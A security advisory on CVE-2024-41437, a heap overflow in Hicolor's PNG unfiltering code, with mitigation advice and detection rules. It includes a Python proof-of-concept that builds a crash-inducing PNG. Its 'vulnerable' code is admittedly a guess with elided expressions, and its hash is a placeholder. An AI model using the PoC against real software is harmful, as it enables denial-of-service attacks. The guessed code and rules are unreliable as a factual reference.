CVE-2024-41437

Executive Summary

CVE-2024-41437 is a heap buffer overflow vulnerability discovered in the cp_unfilter() function within the vendor/cute_png.h file of the Hicolor library, version 0.5.0. This flaw allows an attacker to cause a Denial of Service (DoS) by supplying a specially crafted PNG file. The vulnerability resides in the image processing pipeline, where improper bounds checking during PNG decompression can lead to memory corruption. No official patch has been released, and no public proof-of-concept (PoC) code is available at this time.

Supply Chain & Package Security

Hicolor is a C/C++ library used for image processing. While not a package manager ecosystem like NPM or PyPI, its inclusion in downstream projects (e.g., image viewers, editors, or web applications) could propagate the vulnerability. Organizations using Hicolor v0.5.0 in their software supply chain should assess their exposure and consider alternative libraries until a patch is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned. Based on the vulnerability type (heap buffer overflow leading to DoS), a reasonable estimated vector would be:

• Attack Vector (AV): Local (L) – requires the victim to open a malicious file.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must open the file.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): None (N) – no data leak.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – service crash.

Estimated CVSS:3.1 Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Threat Level: Medium (5.5) – DoS only, requires user interaction.

Deep Dive & Mechanics

The vulnerability is located in the cp_unfilter() function inside vendor/cute_png.h. This function is responsible for unfiltering PNG image data during decompression. PNG compression uses filter algorithms (e.g., Sub, Up, Average, Paeth) to improve compression ratios. The cp_unfilter() function reconstructs the original pixel data by applying the inverse of these filters.

The heap buffer overflow occurs because the function does not properly validate the size of the output buffer against the incoming filtered data. When a crafted PNG file provides malformed filter parameters or oversized data, the function writes beyond the allocated heap buffer, corrupting adjacent memory. This can lead to a segmentation fault or other undefined behavior, resulting in a Denial of Service.

The vulnerable code path is triggered when cute_png.h processes a PNG file with a manipulated IDAT chunk containing filter bytes that cause the unfiltering loop to exceed the buffer boundaries.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the only reference. The vulnerable function cp_unfilter() in vendor/cute_png.h likely looks like:

static void cp_unfilter(unsigned char *out, const unsigned char *in, int w, int h, int bpp) {
    int i, j;
    for (j = 0; j < h; j++) {
        unsigned char filter = *in++;
        for (i = 0; i < w * bpp; i++) {
            // Unfilter logic without proper bounds check
            out[i] = in[i] + ...; // Potential overflow
        }
        out += w * bpp;
        in += w * bpp;
    }
}

A patched version would include bounds checking:

static void cp_unfilter(unsigned char *out, const unsigned char *in, int w, int h, int bpp, size_t out_size) {
    int i, j;
    size_t offset = 0;
    for (j = 0; j < h; j++) {
        unsigned char filter = *in++;
        for (i = 0; i < w * bpp; i++) {
            if (offset + i >= out_size) break; // Bounds check
            out[offset + i] = in[i] + ...;
        }
        offset += w * bpp;
        in += w * bpp;
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. To reproduce the DoS, an attacker would craft a PNG file with a malformed IDAT chunk. The following Python script generates a minimal proof-of-concept:

import struct
import zlib

def create_malformed_png():
    # PNG signature
    sig = b'\x89PNG\r\n\x1a\n'
    
    # IHDR chunk (1x1 pixel, 8-bit RGB)
    ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
    ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
    ihdr = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
    
    # IDAT chunk with oversized filter data to trigger overflow
    # Filter byte 0x01 (Sub) followed by excessive data
    raw_data = b'\x01' + b'A' * 10000  # Trigger overflow
    compressed = zlib.compress(raw_data)
    idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff
    idat = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc)
    
    # IEND chunk
    iend_crc = zlib.crc32(b'IEND') & 0xffffffff
    iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)
    
    return sig + ihdr + idat + iend

with open('exploit.png', 'wb') as f:
    f.write(create_malformed_png())

Usage: Compile a program that uses Hicolor v0.5.0 to load exploit.png. The program will likely crash due to the heap overflow.

Blue Team (Detection & Defense)

• File Scanning: Monitor for PNG files with unusually large IDAT chunks or malformed filter bytes.
• Memory Protection: Enable Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) to mitigate exploitation.
• Sandboxing: Run image processing in isolated containers or sandboxes to limit impact.
• Input Validation: Implement strict validation of PNG file structure before processing.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash depends on crafted file)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
• Network Traffic: No network indicators – local file-based attack.
• Behavioral: Application crash (segmentation fault) when processing PNG files.
• Registry/File System: Presence of vendor/cute_png.h in software builds.

Detection Engineering

YARA Rule

rule CVE_2024_41437_HeapOverflow {
    meta:
        description = "Detects crafted PNG files targeting CVE-2024-41437 heap overflow in Hicolor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41437"
    strings:
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
        $idat_chunk = "IDAT"
        $large_idat = /IDAT.{10000,}/  // IDAT chunk > 10KB
    condition:
        $png_header at 0 and $idat_chunk and #large_idat > 0
}

Sigma Rule

title: CVE-2024-41437 Hicolor PNG Heap Overflow Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit heap overflow in Hicolor via crafted PNG files
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\hicolor_app.exe'
        CommandLine|contains: '.png'
    condition: selection
falsepositives:
    - Legitimate PNG processing
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41437 Hicolor PNG Heap Overflow Attempt"; flow:to_server; content:"|89 50 4E 47 0D 0A 1A 0A|"; depth:8; content:"IDAT"; within:100; byte_test:4,>,10000,0,relative; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch Status: No official patch available. Monitor the Hicolor repository for updates.
2. Mitigation:
   • Disable PNG processing in applications using Hicolor v0.5.0.
   • Replace Hicolor with an alternative library (e.g., libpng, stb_image).
   • Implement input validation to reject PNG files with oversized IDAT chunks.
   • Use memory-safe languages or libraries for image processing.
3. Workaround: Modify vendor/cute_png.h to add bounds checking in cp_unfilter() (see patched code example).
4. Detection: Deploy YARA/Sigma/Suricata rules to identify malicious PNG files.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst